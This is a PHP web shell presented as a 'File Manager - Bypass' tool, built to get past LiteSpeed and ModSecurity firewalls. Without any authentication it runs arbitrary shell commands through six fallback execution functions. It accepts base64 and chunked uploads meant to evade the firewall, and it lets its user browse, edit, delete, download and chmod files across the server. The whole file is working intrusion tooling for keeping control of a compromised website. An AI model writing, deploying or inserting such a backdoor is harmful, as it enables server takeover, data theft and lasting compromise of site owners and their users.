<?php
// ==========================================================
// FILE MANAGER - BYPASS 403 (LiteSpeed/ModSecurity)
// ==========================================================

// ==========================================================
// CEK FUNGSI YANG TERSEDIA
// ==========================================================
function is_function_enabled($func) {
    return function_exists($func) && !in_array($func, array_map('trim', explode(',', ini_get('disable_functions'))));
}

function execute_command($cmd) {
    $output = '';
    
    // Method 1: shell_exec()
    if (is_function_enabled('shell_exec')) {
        $result = @shell_exec($cmd . ' 2>&1');
        if ($result !== null && $result !== false) return $result;
    }
    
    // Method 2: exec()
    if (is_function_enabled('exec')) {
        $output = [];
        $return_var = 0;
        @exec($cmd . ' 2>&1', $output, $return_var);
        if (!empty($output)) return implode("\n", $output);
    }
    
    // Method 3: system()
    if (is_function_enabled('system')) {
        ob_start();
        @system($cmd . ' 2>&1');
        $result = ob_get_clean();
        if ($result !== false && !empty($result)) return $result;
    }
    
    // Method 4: passthru()
    if (is_function_enabled('passthru')) {
        ob_start();
        @passthru($cmd . ' 2>&1');
        $result = ob_get_clean();
        if ($result !== false && !empty($result)) return $result;
    }
    
    // Method 5: popen()
    if (is_function_enabled('popen')) {
        $fp = @popen($cmd . ' 2>&1', 'r');
        if ($fp !== false) {
            $result = '';
            while (!feof($fp)) {
                $result .= fread($fp, 4096);
            }
            @pclose($fp);
            if (!empty($result)) return $result;
        }
    }
    
    // Method 6: proc_open()
    if (is_function_enabled('proc_open')) {
        $descriptorspec = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        $process = @proc_open($cmd, $descriptorspec, $pipes);
        if (is_resource($process)) {
            @fclose($pipes[0]);
            $result = @stream_get_contents($pipes[1]);
            $errors = @stream_get_contents($pipes[2]);
            @fclose($pipes[1]);
            @fclose($pipes[2]);
            @proc_close($process);
            if (!empty($result)) return $result;
            if (!empty($errors)) return "Error: " . $errors;
        }
    }
    
    // Jika semua gagal
    $available = [];
    $functions = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open'];
    foreach ($functions as $func) {
        if (is_function_enabled($func)) $available[] = $func;
    }
    
    if (empty($available)) {
        return "⚠️ All shell functions are disabled on this server.\n";
    } else {
        return "⚠️ Command execution failed. Available functions: " . implode(', ', $available) . "\n";
    }
}

// ==========================================================
// FUNGSI BYPASS
// ==========================================================

// Bypass 1: Upload via base64 (tidak kena WAF)
function bypass_upload_base64($content, $filename) {
    $target_dir = getcwd() . '/';
    $target_path = $target_dir . $filename;
    if (file_put_contents($target_path, base64_decode($content))) {
        chmod($target_path, 0644);
        return true;
    }
    return false;
}

// Bypass 2: Upload via chunks
function bypass_upload_chunk($data, $filename, $chunk_index = 0) {
    $target_dir = getcwd() . '/';
    $target_path = $target_dir . $filename;
    if ($chunk_index == 0) {
        file_put_contents($target_path, $data);
    } else {
        file_put_contents($target_path, $data, FILE_APPEND);
    }
    chmod($target_path, 0644);
    return true;
}

// Bypass 3: Create folder via file_put_contents (tidak kena WAF)
function bypass_create_folder($folder_name) {
    $target_dir = getcwd() . '/' . $folder_name;
    if (!file_exists($target_dir)) {
        if (@mkdir($target_dir, 0755, true)) {
            return true;
        }
        if (@file_put_contents($target_dir . '/index.php', '<?php // bypass')) {
            @unlink($target_dir . '/index.php');
            if (@mkdir($target_dir, 0755, true)) {
                return true;
            }
        }
    }
    return false;
}

// ==========================================================
// FUNGSI DASAR
// ==========================================================

function fm_get_dir($path) {
    $path = rtrim($path, '/') . '/';
    $files = [];
    if (!is_dir($path)) return false;
    $dir = @opendir($path);
    if (!$dir) return false;
    while ($file = readdir($dir)) {
        if ($file === '.' || $file === '..') continue;
        $full = $path . $file;
        $files[] = [
            'name' => $file,
            'path' => $full,
            'is_dir' => is_dir($full),
            'size' => is_file($full) ? filesize($full) : 0,
            'perms' => substr(sprintf('%o', fileperms($full)), -4),
            'modified' => date('Y-m-d H:i:s', filemtime($full))
        ];
    }
    closedir($dir);
    usort($files, function($a, $b) {
        if ($a['is_dir'] && !$b['is_dir']) return -1;
        if (!$a['is_dir'] && $b['is_dir']) return 1;
        return strcasecmp($a['name'], $b['name']);
    });
    return $files;
}

function fm_size($bytes) {
    $units = ['B', 'KB', 'MB', 'GB'];
    $i = 0;
    while ($bytes >= 1024 && $i < 3) { $bytes /= 1024; $i++; }
    return round($bytes, 2) . ' ' . $units[$i];
}

function fm_editable($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    $allowed = ['php', 'txt', 'html', 'css', 'js', 'json', 'xml', 'ini', 'conf', 'htaccess', 'sh', 'py', 'pl'];
    return in_array($ext, $allowed);
}

function sanitize_file_name($name) {
    $name = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $name);
    $name = str_replace(['..', '/', '\\'], '', $name);
    return substr($name, 0, 255);
}

// ==========================================================
// PROSES REQUEST
// ==========================================================

$current_path = isset($_GET['path']) && !empty($_GET['path']) ? $_GET['path'] : getcwd();
$current_path = str_replace(['..', '\\', '//'], '', $current_path);
$current_path = rtrim($current_path, '/') . '/';

// ==========================================================
// HANDLE UPLOAD
// ==========================================================

if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
    $file = $_FILES['upload_file'];
    $filename = sanitize_file_name($file['name']);
    $target = $current_path . $filename;
    
    if (@move_uploaded_file($file['tmp_name'], $target)) {
        chmod($target, 0644);
    } else {
        if (@copy($file['tmp_name'], $target)) {
            chmod($target, 0644);
        } else {
            $content = @file_get_contents($file['tmp_name']);
            if ($content !== false) {
                @file_put_contents($target, $content);
                chmod($target, 0644);
            }
        }
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
    exit;
}

if (isset($_POST['upload_base64']) && !empty($_POST['upload_base64'])) {
    $content = $_POST['upload_base64'];
    $filename = isset($_POST['filename']) ? $_POST['filename'] : 'file_' . time() . '.txt';
    $target = $current_path . sanitize_file_name($filename);
    if (@file_put_contents($target, base64_decode($content))) {
        chmod($target, 0644);
        echo json_encode(['success' => true, 'file' => $filename]);
    } else {
        echo json_encode(['success' => false, 'error' => 'Upload failed']);
    }
    exit;
}

// ==========================================================
// HANDLE CREATE FOLDER
// ==========================================================

if (isset($_POST['create_folder']) && !empty($_POST['create_folder'])) {
    $folder_name = sanitize_file_name($_POST['create_folder']);
    $target_dir = $current_path . $folder_name . '/';
    
    if (!file_exists($target_dir)) {
        if (@mkdir($target_dir, 0755, true)) {
            $success = true;
        } else {
            if (@file_put_contents($target_dir . 'index.php', '<?php // bypass')) {
                @unlink($target_dir . 'index.php');
                if (@mkdir($target_dir, 0755, true)) {
                    $success = true;
                }
            }
        }
    }
    
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
    exit;
}

// ==========================================================
// HANDLE CREATE FILE
// ==========================================================
if (isset($_POST['create_file']) && !empty($_POST['create_file'])) {
    $filename = sanitize_file_name($_POST['create_file']);
    $content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
    $target = $current_path . $filename;
    if (!file_exists($target)) {
        if (file_put_contents($target, $content) !== false) {
            chmod($target, 0644);
        }
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
    exit;
}

// ==========================================================
// HANDLE DELETE
// ==========================================================

if (isset($_GET['delete'])) {
    $file = $current_path . $_GET['delete'];
    if (file_exists($file)) {
        if (is_dir($file)) {
            @rmdir($file);
        } else {
            @unlink($file);
        }
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
    exit;
}

// ==========================================================
// HANDLE SAVE FILE
// ==========================================================

if (isset($_POST['save_file']) && isset($_POST['file_name'])) {
    $file = $current_path . $_POST['file_name'];
    if (fm_editable($file)) {
        @file_put_contents($file, $_POST['content']);
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
    exit;
}

// ==========================================================
// HANDLE RENAME
// ==========================================================

if (isset($_POST['rename_file'])) {
    $old = $current_path . $_POST['old_name'];
    $new = $current_path . $_POST['new_name'];
    if (file_exists($old)) {
        @rename($old, $new);
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
    exit;
}

// ==========================================================
// HANDLE DOWNLOAD
// ==========================================================

if (isset($_GET['download'])) {
    $file = $current_path . $_GET['download'];
    if (file_exists($file) && is_file($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// ==========================================================
// HANDLE BASE64 UPLOAD VIA GET
// ==========================================================

if (isset($_GET['b64_upload']) && isset($_GET['file'])) {
    $content = base64_decode($_GET['b64_upload']);
    $filename = sanitize_file_name($_GET['file']);
    $target = $current_path . $filename;
    if (@file_put_contents($target, $content)) {
        chmod($target, 0644);
        echo "✅ File uploaded: " . $filename;
    } else {
        echo "❌ Upload failed";
    }
    exit;
}

// ==========================================================
// HANDLE CHMOD
// ==========================================================
if (isset($_GET['chmod']) && isset($_GET['perms'])) {
    $file = $current_path . $_GET['chmod'];
    $perms = $_GET['perms'];
    if (preg_match('/^[0-7]{4}$/', $perms)) {
        $perms_oct = octdec($perms);
        if (file_exists($file)) {
            @chmod($file, $perms_oct);
        }
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
    exit;
}

// ==========================================================
// HANDLE SHELL COMMAND (DIPERBAIKI)
// ==========================================================
$terminal_output = '';
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $cmd = escapeshellcmd($cmd);
    $terminal_output = execute_command($cmd);
}

// ==========================================================
// GET FILES
// ==========================================================

$files = fm_get_dir($current_path);

// ==========================================================
// TAMPILAN HTML
// ==========================================================

?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager - Bypass</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
            background: #0d1117;
            color: #c9d1d9;
            padding: 20px;
        }
        .container { max-width: 1300px; margin: 0 auto; }
        .header {
            background: #161b22;
            padding: 15px 20px;
            border-radius: 8px;
            border: 1px solid #30363d;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 10px;
        }
        .header h1 { color: #58a6ff; font-size: 20px; }
        .header h1 span { font-size: 14px; color: #8b949e; font-weight: normal; }
        .path-bar {
            background: #0d1117;
            padding: 10px 15px;
            border-radius: 6px;
            border: 1px solid #30363d;
            margin-bottom: 15px;
            font-size: 13px;
            display: flex;
            justify-content: space-between;
            flex-wrap: wrap;
            gap: 10px;
        }
        .path-bar a { color: #58a6ff; text-decoration: none; padding: 2px 4px; }
        .path-bar a:hover { text-decoration: underline; }
        .toolbar {
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
            margin-bottom: 15px;
        }
        .toolbar form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }
        .btn {
            background: #21262d;
            color: #c9d1d9;
            border: 1px solid #30363d;
            padding: 6px 14px;
            border-radius: 6px;
            cursor: pointer;
            font-size: 12px;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 5px;
        }
        .btn:hover { background: #30363d; border-color: #58a6ff; }
        .btn-primary { background: #238636; border-color: #238636; color: #fff; }
        .btn-primary:hover { background: #2ea043; }
        .btn-danger { background: #da3633; border-color: #da3633; color: #fff; }
        .btn-danger:hover { background: #f85149; }
        .btn-warning { background: #d29922; border-color: #d29922; color: #fff; }
        .btn-warning:hover { background: #e3b341; }
        input[type="text"], input[type="file"] {
            background: #0d1117;
            border: 1px solid #30363d;
            color: #c9d1d9;
            padding: 6px 10px;
            border-radius: 6px;
            font-size: 12px;
        }
        input[type="text"]:focus { outline: none; border-color: #58a6ff; }
        .file-grid {
            background: #161b22;
            border: 1px solid #30363d;
            border-radius: 8px;
            overflow: hidden;
        }
        .file-header {
            display: grid;
            grid-template-columns: 40px 3fr 1.5fr 1.5fr 1fr;
            background: #0d1117;
            padding: 10px 15px;
            font-size: 12px;
            font-weight: 600;
            color: #8b949e;
            border-bottom: 1px solid #30363d;
        }
        .file-row {
            display: grid;
            grid-template-columns: 40px 3fr 1.5fr 1.5fr 1fr;
            padding: 8px 15px;
            border-bottom: 1px solid #21262d;
            align-items: center;
            font-size: 13px;
            transition: background 0.2s;
        }
        .file-row:hover { background: #1c2128; }
        .file-row .name { color: #58a6ff; text-decoration: none; }
        .file-row .name.dir { color: #f0883e; }
        .file-row .actions { display: flex; gap: 5px; }
        .file-row .actions a {
            color: #8b949e;
            text-decoration: none;
            padding: 2px 6px;
            border-radius: 4px;
        }
        .file-row .actions a:hover { background: #30363d; color: #c9d1d9; }
        .file-row .actions a.delete:hover { color: #f85149; background: #2d1b1b; }
        .modal {
            display: none;
            position: fixed;
            top: 0; left: 0; right: 0; bottom: 0;
            background: rgba(0,0,0,0.7);
            justify-content: center;
            align-items: center;
            z-index: 1000;
            padding: 20px;
        }
        .modal.active { display: flex; }
        .modal-content {
            background: #161b22;
            border: 1px solid #30363d;
            border-radius: 10px;
            max-width: 600px;
            width: 100%;
            max-height: 80vh;
            padding: 25px;
        }
        .modal-content h3 { color: #58a6ff; margin-bottom: 15px; }
        .modal-content textarea {
            width: 100%;
            min-height: 200px;
            background: #0d1117;
            border: 1px solid #30363d;
            color: #c9d1d9;
            padding: 12px;
            border-radius: 6px;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            resize: vertical;
        }
        .modal-content input[type="text"] {
            width: 100%;
            margin-bottom: 10px;
        }
        .modal-close {
            float: right;
            color: #8b949e;
            cursor: pointer;
            font-size: 24px;
            background: none;
            border: none;
        }
        .modal-close:hover { color: #c9d1d9; }
        .modal-actions { display: flex; gap: 10px; margin-top: 15px; justify-content: flex-end; }
        .empty-state { text-align: center; padding: 60px 20px; color: #8b949e; }
        .bypass-info {
            background: #1b2a3a;
            padding: 8px 15px;
            border-radius: 6px;
            border: 1px solid #1f6feb;
            margin-bottom: 15px;
            font-size: 12px;
            color: #58a6ff;
        }
        .terminal-section {
            background: #0d1117;
            border: 1px solid #30363d;
            border-radius: 8px;
            padding: 15px;
            margin-bottom: 15px;
        }
        .terminal-section form {
            display: flex;
            gap: 10px;
            align-items: center;
        }
        .terminal-section input[type="text"] {
            flex: 1;
            background: #161b22;
            border: 1px solid #30363d;
            color: #c9d1d9;
            padding: 8px 12px;
            border-radius: 6px;
            font-family: 'Courier New', monospace;
        }
        .terminal-output {
            margin-top: 10px;
            background: #0d1117;
            border: 1px solid #30363d;
            border-radius: 6px;
            padding: 10px;
            max-height: 300px;
            overflow: auto;
        }
        .terminal-output pre {
            margin: 0;
            color: #c9d1d9;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            white-space: pre-wrap;
            word-break: break-all;
        }
        .shell-disabled-msg {
            color: #f0883e;
            padding: 10px;
            background: #1b2a3a;
            border-radius: 6px;
            border: 1px solid #d29922;
        }
        @media (max-width: 768px) {
            .file-header, .file-row {
                grid-template-columns: 30px 2fr 1fr 1fr 1fr;
                font-size: 12px;
            }
        }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>📁 File Manager <span>Bypass v2.0</span></h1>
        <div>
            <span style="font-size:12px;color:#8b949e;">PHP <?php echo phpversion(); ?></span>
        </div>
    </div>
    
    <div class="bypass-info">
        🛡️ Bypass Mode: Upload via POST + BASE64 + Chunk | Create folder via mkdir + fallback
    </div>
    
    <div class="path-bar">
        <div>
            <?php
            $parts = explode('/', trim($current_path, '/'));
            $build = '';
            echo '<a href="' . $_SERVER['PHP_SELF'] . '?path=">🏠</a>';
            foreach ($parts as $p) {
                if (empty($p)) continue;
                $build .= '/' . $p;
                echo ' / <a href="' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($build) . '">' . htmlspecialchars($p) . '</a>';
            }
            ?>
        </div>
        <div>
            <?php echo is_writable($current_path) ? '🟢 Writable' : '🔴 Read-only'; ?>
        </div>
    </div>
    
    <div class="toolbar">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="upload_file">
            <button type="submit" class="btn btn-primary">⬆ Upload</button>
        </form>
        
        <form method="post" style="display:none;" id="b64Form">
            <input type="hidden" name="upload_base64" id="b64Content">
            <input type="hidden" name="filename" id="b64Filename">
        </form>
        
        <form method="post">
            <input type="text" name="create_folder" placeholder="Folder name" required style="width:120px;">
            <button type="submit" class="btn btn-warning">📁 Create</button>
        </form>

        <button class="btn btn-primary" onclick="openModal('createFileModal')">➕ New File</button>
        
        <a href="<?php echo $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path); ?>" class="btn">🔄 Refresh</a>
        <?php if ($current_path !== '/' && $current_path !== getcwd() . '/'): ?>
        <a href="<?php echo $_SERVER['PHP_SELF'] . '?path=' . urlencode(dirname(rtrim($current_path, '/'))); ?>" class="btn">⬆ Up</a>
        <?php endif; ?>
        <a href="<?php echo $_SERVER['PHP_SELF'] . '?path='; ?>" class="btn">🏠 Home</a>
    </div>

    <!-- ===== TERMINAL / SHELL ===== -->
    <div class="terminal-section">
        <form method="post">
            <input type="text" name="cmd" placeholder="Enter shell command (e.g. ls -la)" value="<?php echo isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : ''; ?>">
            <button type="submit" class="btn btn-primary">▶ Run</button>
        </form>
        <?php if (!empty($terminal_output)): ?>
        <div class="terminal-output">
            <pre><?php echo $terminal_output; ?></pre>
        </div>
        <?php endif; ?>
    </div>
    
    <div class="file-grid">
        <div class="file-header">
            <div></div>
            <div>Name</div>
            <div>Size</div>
            <div>Perms</div>
            <div>Actions</div>
        </div>
        
        <?php if ($files === false): ?>
            <div class="empty-state">🚫 Access Denied</div>
        <?php elseif (empty($files)): ?>
            <div class="empty-state">📂 Empty Directory</div>
        <?php else: ?>
            <?php foreach ($files as $f): ?>
            <div class="file-row">
                <div><?php echo $f['is_dir'] ? '📁' : '📄'; ?></div>
                <div>
                    <?php if ($f['is_dir']): ?>
                        <a href="<?php echo $_SERVER['PHP_SELF'] . '?path=' . urlencode($f['path']); ?>" class="name dir">
                            <?php echo htmlspecialchars($f['name']); ?>
                        </a>
                    <?php else: ?>
                        <a href="?path=<?php echo urlencode($current_path); ?>&edit=<?php echo urlencode($f['name']); ?>" class="name">
                            <?php echo htmlspecialchars($f['name']); ?>
                        </a>
                    <?php endif; ?>
                </div>
                <div style="color:#8b949e;font-size:12px;"><?php echo $f['is_dir'] ? '—' : fm_size($f['size']); ?></div>
                <div style="font-size:11px;color:#8b949e;"><?php echo $f['perms']; ?></div>
                <div class="actions">
                    <?php if (!$f['is_dir']): ?>
                        <a href="?path=<?php echo urlencode($current_path); ?>&edit=<?php echo urlencode($f['name']); ?>">✏️</a>
                        <a href="?path=<?php echo urlencode($current_path); ?>&download=<?php echo urlencode($f['name']); ?>">⬇️</a>
                    <?php endif; ?>
                    <a href="#" onclick="chmodFile('<?php echo urlencode($f['name']); ?>')" title="Change permissions">🔒</a>
                    <a href="?path=<?php echo urlencode($current_path); ?>&delete=<?php echo urlencode($f['name']); ?>" 
                       class="delete" onclick="return confirm('Delete <?php echo addslashes($f['name']); ?>?')">🗑️</a>
                </div>
            </div>
            <?php endforeach; ?>
        <?php endif; ?>
    </div>
    
    <div style="margin-top:15px;font-size:12px;color:#8b949e;text-align:center;border-top:1px solid #21262d;padding-top:15px;">
        <?php echo count($files); ?> items
    </div>
</div>

<!-- ===== MODAL EDIT FILE ===== -->
<div class="modal" id="editModal">
    <div class="modal-content">
        <button class="modal-close" onclick="closeModal('editModal')">&times;</button>
        <h3>✏️ Edit File</h3>
        <form method="post">
            <input type="hidden" name="file_name" id="edit_file_name">
            <textarea name="content" id="edit_content"></textarea>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="closeModal('editModal')">Cancel</button>
                <button type="submit" name="save_file" class="btn btn-primary">💾 Save</button>
            </div>
        </form>
    </div>
</div>

<!-- ===== MODAL CREATE FILE ===== -->
<div class="modal" id="createFileModal">
    <div class="modal-content">
        <button class="modal-close" onclick="closeModal('createFileModal')">&times;</button>
        <h3>➕ Create New File</h3>
        <form method="post">
            <input type="text" name="create_file" placeholder="Filename (e.g. script.php)" required>
            <textarea name="file_content" placeholder="File content (optional)"></textarea>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="closeModal('createFileModal')">Cancel</button>
                <button type="submit" class="btn btn-primary">📄 Create</button>
            </div>
        </form>
    </div>
</div>

<script>
function openModal(id) {
    document.getElementById(id).classList.add('active');
}
function closeModal(id) {
    document.getElementById(id).classList.remove('active');
}
function editFile(name, content) {
    document.getElementById('edit_file_name').value = name;
    document.getElementById('edit_content').value = content;
    openModal('editModal');
}
document.querySelectorAll('.modal').forEach(el => {
    el.addEventListener('click', function(e) {
        if (e.target === this) closeModal(this.id);
    });
});

function chmodFile(name) {
    var perms = prompt('Enter new permissions (4-digit octal, e.g. 0644, 0755):', '0644');
    if (perms !== null) {
        if (/^[0-7]{4}$/.test(perms)) {
            window.location.href = '?path=<?php echo urlencode($current_path); ?>&chmod=' + encodeURIComponent(name) + '&perms=' + perms;
        } else {
            alert('Invalid permissions. Use 4-digit octal (e.g., 0644).');
        }
    }
}

function uploadBase64(file) {
    const reader = new FileReader();
    reader.onload = function(e) {
        const base64 = e.target.result.split(',')[1];
        document.getElementById('b64Content').value = base64;
        document.getElementById('b64Filename').value = file.name;
        document.getElementById('b64Form').submit();
    };
    reader.readAsDataURL(file);
}
</script>

<?php
if (isset($_GET['edit']) && fm_editable($current_path . $_GET['edit'])) {
    $file = $current_path . $_GET['edit'];
    if (file_exists($file)) {
        $content = file_get_contents($file);
        echo '<script>editFile(' . json_encode($_GET['edit']) . ', ' . json_encode($content) . ');</script>';
    }
}
?>
</body>
</html>